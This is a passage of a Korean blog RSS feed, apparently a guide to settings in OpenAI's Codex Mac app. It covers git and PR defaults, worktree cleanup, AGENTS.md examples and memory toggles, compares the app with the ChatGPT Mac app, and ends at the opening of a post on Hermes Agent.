&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;&lt;b&gt;초안 PR 생성&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;ON&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;PR을 Draft로 먼저 만들고, 검토 후 Ready로 승격한다.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;기본값 조합이 이미 팀 친화적으로 잡혀 있다. 브랜치 접두사 &lt;code&gt;codex/&lt;/code&gt;는 에이전트가 만든 브랜치를 사람이 만든 브랜치와 명확히 구분하고, 초안 PR ON은 리뷰 없이 바로 병합되는 사고를 막는다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;항상 강제 푸시는 OFF가 기본이라 협업 브랜치를 실수로 덮어쓸 위험이 낮다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;팀 컨벤션이 스쿼시 병합이라면 PR 병합 방법만 교체하면 나머지는 건드리지 않아도 된다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;처음엔 기본값 그대로 쓰고, 브랜치 이름이 PR 리스트에서 눈에 띄게 정리된 다음에 접두사만 팀 규칙으로 바꾸는 순서가 안전하다.&lt;/i&gt;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a2a; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;워크트리 자동 정리&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Codex 앱은 작업마다 별도 워크트리를 만든다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;자동 정리 토글과 한도는 &lt;b&gt;작업 트리 메뉴가 아니라 깃 메뉴 하단&lt;/b&gt;에 있다. 기본값은 &lt;b&gt;오래된 작업 트리 자동 삭제 ON&lt;/b&gt;, &lt;b&gt;자동 삭제 한도 15&lt;/b&gt;이며 한도를 넘으면 오래된 워크트리부터 삭제된다. 사이드바의 &lt;b&gt;작업 트리&lt;/b&gt; 메뉴는 현재 생성된 워크트리 목록을 보여주는 화면이고, 정리 옵션이 따로 있지는 않다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;한 가지 헷갈리지 않게 둘은 다른 값이다. &lt;b&gt;자동 삭제 한도&lt;/b&gt;는 디스크에 남기는 워크트리 개수이고, &lt;b&gt;&lt;code&gt;agents.max_threads = 6&lt;/code&gt;&lt;/b&gt;(공식 기본값)은 동시에 돌릴 수 있는 에이전트 스레드 수다. 한쪽은 보관, 한쪽은 동시성이다. (출처: &lt;a href=&quot;https://developers.openai.com/codex/config-reference&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Config Reference&lt;/a&gt;)&lt;/p&gt;
&lt;pre class=&quot;crystal&quot; style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; overflow-x: auto; margin: 15px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 워크트리 목록 확인 (Codex가 만든 트리도 함께 표시된다)
$ git worktree list

/Users/me/projects/myapp                 abc1234 [main]
/Users/me/projects/myapp/.codex/wt-001   def5678 [codex/fix-login]
/Users/me/projects/myapp/.codex/wt-002   ghi9012 [codex/refactor-auth]
/Users/me/projects/myapp/.codex/wt-003   jkl3456 [codex/add-tests]

# 수동 정리가 필요한 경우
$ git worktree remove /Users/me/projects/myapp/.codex/wt-001
&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ===== 섹션 9: 개인 맞춤 ===== --&gt;
&lt;h2 id=&quot;personalization&quot; style=&quot;font-size: 24px; color: #1a3a2a; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #a3d9c8; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;9. 개인 맞춤 + 다른 에이전트 설정 가져오기&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;개인 맞춤 메뉴는 응답 톤과 컨텍스트 메모리를 조정한다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1266&quot; data-origin-height=&quot;1546&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/nkL3c/dJMb997jv2W/d9PkC7oSDdJsakxu00YSKK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/nkL3c/dJMb997jv2W/d9PkC7oSDdJsakxu00YSKK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/nkL3c/dJMb997jv2W/d9PkC7oSDdJsakxu00YSKK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FnkL3c%2FdJMb997jv2W%2Fd9PkC7oSDdJsakxu00YSKK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;535&quot; height=&quot;653&quot; data-origin-width=&quot;1266&quot; data-origin-height=&quot;1546&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a2a; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;성격 (Personality)&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;드롭다운으로 응답 톤을 선택한다. 화면 기본값은 &lt;b&gt;실용적&lt;/b&gt;이다. 다른 옵션은 화면에서 직접 확인할 수 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a2a; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;맞춤형 지침&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;이 프로젝트는 FastAPI + Python 3.12 기준&quot; 같은 영구 컨텍스트를 적어 둔다. &lt;b&gt;AGENTS.md 파일과 연동&lt;/b&gt;되며, 위치는 사용자 레벨이라면 &lt;code&gt;~/.codex/AGENTS.md&lt;/code&gt;, 프로젝트 단위라면 프로젝트 루트의 &lt;code&gt;AGENTS.md&lt;/code&gt;를 따른다. 화면에는 &lt;i&gt;자세히 알아보기&lt;/i&gt; 링크가 함께 노출된다. (출처: &lt;a href=&quot;https://developers.openai.com/codex/guides/agents-md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;AGENTS.md guide &amp;mdash; developers.openai.com&lt;/a&gt;)&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a2a; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;AGENTS.md &amp;mdash; 실제로 무엇을 쓰는가&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;AGENTS.md는 에이전트에게 줄 자유형식 지침 파일이다. YAML이나 특별한 문법이 없고, 마크다운 텍스트로 자연어 규칙을 적으면 된다. 프로젝트 루트의 &lt;code&gt;AGENTS.md&lt;/code&gt;는 CLI&amp;middot;앱&amp;middot;IDE 어디서 호출해도 동일하게 읽힌다.&lt;/p&gt;
&lt;pre class=&quot;markdown&quot; style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; overflow-x: auto; margin: 15px 0;&quot; data-ke-language=&quot;markdown&quot;&gt;&lt;code&gt;# AGENTS.md &amp;mdash; 프로젝트 규칙 예시

## 기술 스택
- Python 3.12 / FastAPI / SQLAlchemy 2.x
- 테스트: pytest, 커버리지 80% 이상 유지

## 코딩 규칙
- main 브랜치에 직접 커밋하지 않는다.
- 모든 외부 호출은 httpx 비동기 클라이언트를 쓴다.
- 환경 변수는 pydantic-settings로 로드한다.

## PR 규칙
- PR 제목은 `feat:`, `fix:`, `refactor:` 접두사를 붙인다.
- 릴리스 PR에는 CHANGELOG.md 항목을 함께 추가한다.
&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;임시로 전역 AGENTS.md를 재정의하고 싶다면 &lt;code&gt;~/.codex/AGENTS.override.md&lt;/code&gt;(사용자 레벨) 또는 프로젝트 루트의 &lt;code&gt;AGENTS.override.md&lt;/code&gt;를 만들면 된다. 같은 범위에 override 파일이 있으면 일반 AGENTS.md보다 우선 적용되고, 삭제하면 원래 지침으로 돌아간다. 특정 기간만 다른 규칙을 적용할 때 유용하다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a2a; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;메모리(실험용) &amp;mdash; 토글 3개 + 초기화 버튼&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;개인 맞춤 화면 하단의 메모리(실험용) 영역에는 &lt;b&gt;토글 3개와 액션 버튼 1개&lt;/b&gt;가 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;내 화면 기준 토글은&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;메모리 활성화&lt;/b&gt;(채팅에서 새 메모리를 생성해 새 채팅에 가져옴),&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Chronicle 리서치 미리보기&lt;/b&gt;(작업을 도울 수 있도록 화면 맥락을 활용해 메모리 보강),&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;도구 사용 채팅 제외&lt;/b&gt;(MCP 도구나 웹 검색을 사용한 채팅에서는 메모리를 생성하지 않음)이고,&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;마지막에 &lt;b&gt;메모리 초기화&lt;/b&gt; 버튼(모든 Codex 메모리 삭제)이 별도로 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;실험용이라는 라벨이 붙은 만큼 베타 단계로 보는 편이 안전하다.&lt;/p&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;실험용 기능은 변경&amp;middot;삭제될 수 있다&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 8px;&quot; data-ke-size=&quot;size8&quot;&gt;실험용 메모리 토글은 안정 기능보다 동작이 자주 바뀐다. 사내 워크플로우의 핵심 의존으로 묶기 전에 동일 효과를 &lt;code&gt;AGENTS.md&lt;/code&gt;&amp;middot;맞춤형 지침으로 옮길 수 있는지 먼저 검토한다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a2a; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;다른 에이전트 설정 가져오기&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;외부 에이전트 설정 &lt;b&gt;2개&lt;/b&gt;가 자동으로 감지되었고, 항목 옆에 &lt;b&gt;가져오기&lt;/b&gt; 버튼이 표시된다(설명 문구: &quot;Codex가 다른 로컬 에이전트 앱에서 유용한 설정을 찾았습니다&quot;). 감지 개수와 어떤 앱(예: Cursor, Continue, Claude 등)을 인식하는지는 환경에 따라 다르므로 화면에서 직접 확인한다. 가져오기를 누르면 해당 도구의 시스템 프롬프트나 규칙이 Codex의 맞춤형 지침으로 전환되어 옮겨진다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ===== 섹션 10: ChatGPT Mac 앱과의 차이 ===== --&gt;
&lt;h2 id=&quot;vs-chatgpt&quot; style=&quot;font-size: 24px; color: #1a3a2a; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #a3d9c8; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;10. ChatGPT Mac 앱과의 차이&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;두 앱은 같은 OpenAI 출시이지만 목적이 다르다. ChatGPT 앱이 &lt;i&gt;물어보고 받아보는 도구&lt;/i&gt;라면, Codex 앱은 &lt;i&gt;맡기고 결과를 받는 에이전트 도구&lt;/i&gt;다. 표로 정리하면 다음과 같다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 20px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f5f0;&quot;&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #a3d9c8; font-weight: 600;&quot;&gt;항목&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #a3d9c8; font-weight: 600;&quot;&gt;ChatGPT Mac 앱&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #a3d9c8; font-weight: 600;&quot;&gt;Codex Mac 앱&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;&lt;b&gt;주 사용 목적&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;질문&amp;middot;요약&amp;middot;아이디어 정리&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;코드 변경&amp;middot;테스트&amp;middot;PR 자동화&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f4fbf8;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;&lt;b&gt;전역 호출&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;Option+Space (Chat Bar)&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;메뉴바 아이콘 + 팝아웃 창 단축키&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;&lt;b&gt;IDE 연동&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;Work with Apps &amp;mdash; IDE 파일 컨텍스트 읽고 diff 적용&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;자체 워크트리 생성 + 깃 커밋&amp;middot;PR까지 수행&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f4fbf8;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;&lt;b&gt;샌드박스/권한&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;macOS 권한 + 앱별 연결 권한 중심&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;3단계 샌드박스 + 3단계 승인 정책 + 플러그인별 권한&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;&lt;b&gt;설정 공유 범위&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;앱 자체 설정&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;&lt;code&gt;~/.codex/config.toml&lt;/code&gt;로 앱&amp;middot;CLI&amp;middot;IDE 공유&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f4fbf8;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;&lt;b&gt;확장 방식&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;Work with Apps / ChatGPT Apps&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;화면 기준 14개 GUI 플러그인 + MCP 서버 직접 등록 + Skills&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;&lt;b&gt;자동화&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;예약 작업 영역 별도 노출 안 함&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;Standalone / Thread 자동화&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f4fbf8;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;&lt;b&gt;워크트리 관리&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;없음&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;자체 워크트리 + 자동 정리(기본 한도 15)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;&lt;b&gt;음성&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;ChatGPT Voice는 웹&amp;middot;iOS&amp;middot;Android&amp;middot;Windows 쪽과 구분해야 한다. 공식 릴리스 노트에는 macOS 앱 Voice 경험이 2026-01-15 종료된다고 공지되어 있으나, Work with Apps 도움말에는 Advanced Voice 관련 문구가 남아 있어 현재 앱 화면 기준 확인이 필요하다.&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;받아쓰기 4종 옵션 제공&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;표를 정리해 보면 두 앱은 겹치는 듯해도 사용 흐름이 갈린다. ChatGPT 앱은 IDE 옆에서 짧게 묻고 답을 가져오는 사이드킥에 가깝고, Codex 앱은 워크트리&amp;middot;브랜치&amp;middot;PR을 들고 들어가 끝까지 처리하는 에이전트다. 권한 모델도 Codex 쪽은 샌드박스&amp;middot;승인 정책&amp;middot;플러그인 권한이 겹치므로, 코드를 바꾸는 작업에서는 설정을 먼저 정리하는 편이 안전하다. 자동화 측면에서도 Codex 쪽이 한 단계 더 깊다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;한 줄 요약: ChatGPT 앱은 정보를 가져오는 도구, Codex 앱은 코드를 바꾸는 도구다.&lt;/i&gt;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;처음 켰을 때는 사이드바 12개가 빽빽해 보이지만, 실제로 자주 만지는 곳은 일반&amp;middot;구성&amp;middot;깃&amp;middot;MCP 네 메뉴 정도다. 이 글을 옆에 두고 한 번씩 토글해 보면 한 시간 안에 익숙해진다. 더 깊은 자동화나 CLI 통합은 별도 글에서 이어 다룬다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr style=&quot;border: none; border-top: 1px solid #e0e0e0; margin: 30px 0;&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;p style=&quot;margin-bottom: 8px; color: #888; font-size: 13px;&quot; data-ke-size=&quot;size8&quot;&gt;참고 출처&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0; color: #888; font-size: 13px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 4px;&quot;&gt;&lt;a href=&quot;https://developers.openai.com/codex/app&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Codex App &amp;mdash; developers.openai.com&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 4px;&quot;&gt;&lt;a href=&quot;https://developers.openai.com/codex/config-reference&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Codex Config Reference &amp;mdash; developers.openai.com&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 4px;&quot;&gt;&lt;a href=&quot;https://developers.openai.com/codex/concepts/sandboxing&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Sandbox concepts &amp;mdash; developers.openai.com&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 4px;&quot;&gt;&lt;a href=&quot;https://developers.openai.com/codex/agent-approvals-security&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Agent approvals &amp;amp; security &amp;mdash; developers.openai.com&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 4px;&quot;&gt;&lt;a href=&quot;https://developers.openai.com/codex/mcp&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;MCP server integration &amp;mdash; developers.openai.com&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 4px;&quot;&gt;&lt;a href=&quot;https://developers.openai.com/codex/plugins&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Codex Plugins &amp;mdash; developers.openai.com&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 4px;&quot;&gt;&lt;a href=&quot;https://developers.openai.com/codex/app/automations&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Codex App Automations &amp;mdash; developers.openai.com&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 4px;&quot;&gt;&lt;a href=&quot;https://developers.openai.com/codex/app/computer-use&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Computer Use &amp;mdash; developers.openai.com&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 4px;&quot;&gt;&lt;a href=&quot;https://developers.openai.com/codex/pricing&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Codex Pricing &amp;amp; usage limits &amp;mdash; developers.openai.com&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 4px;&quot;&gt;&lt;a href=&quot;https://help.openai.com/en/articles/11369540-using-codex-with-your-chatgpt-plan&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Using Codex with your ChatGPT plan &amp;mdash; OpenAI Help Center&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 4px;&quot;&gt;&lt;a href=&quot;https://help.openai.com/en/articles/10119604-work-with-apps-on-macos&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Work with Apps on macOS &amp;mdash; OpenAI Help Center&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 4px;&quot;&gt;&lt;a href=&quot;https://help.openai.com/en/articles/6825453-chatgpt-release-notes&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;ChatGPT Release Notes &amp;mdash; OpenAI Help Center&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 4px;&quot;&gt;&lt;a href=&quot;https://chatgpt.com/codex?app-landing-page=true&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Codex App 공식 다운로드 페이지 &amp;mdash; chatgpt.com&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;</description>
      <category>AI/ChatGPT(Codex)</category>
      <category>Codex config.toml</category>
      <category>Codex Mac 앱</category>
      <category>codex mcp</category>
      <category>Codex 권한 설정</category>
      <category>Codex 사용법</category>
      <category>Codex 샌드박스</category>
      <category>Codex 자동화</category>
      <category>Codex 플러그인</category>
      <category>openai codex</category>
      <category>코덱스 앱 설치</category>
      <author>갓대희</author>
      <guid isPermaLink="true">https://goddaehee.tistory.com/590</guid>
      <comments>https://goddaehee.tistory.com/590#entry590comment</comments>
      <pubDate>Sat, 2 May 2026 15:37:53 +0900</pubDate>
    </item>
    <item>
      <title>Hermes Agent(2) : 보조 모델(Auxiliary Model) 분리 - 비싼 메인 모델 대신 보조 모델 따로 쓰는 법</title>
      <link>https://goddaehee.tistory.com/589</link>
      <description>&lt;!-- 래퍼 1: 인트로 --&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.7; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;안녕하세요! 갓대희 입니다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2668&quot; data-origin-height=&quot;1504&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cd3b3y/dJMcaaFa3gC/03rbKouvGoQCkDDk699Gq1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cd3b3y/dJMcaaFa3gC/03rbKouvGoQCkDDk699Gq1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cd3b3y/dJMcaaFa3gC/03rbKouvGoQCkDDk699Gq1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcd3b3y%2FdJMcaaFa3gC%2F03rbKouvGoQCkDDk699Gq1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2668&quot; height=&quot;1504&quot; data-origin-width=&quot;2668&quot; data-origin-height=&quot;1504&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/div&gt;
&lt;!-- 래퍼 2: 본문 --&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
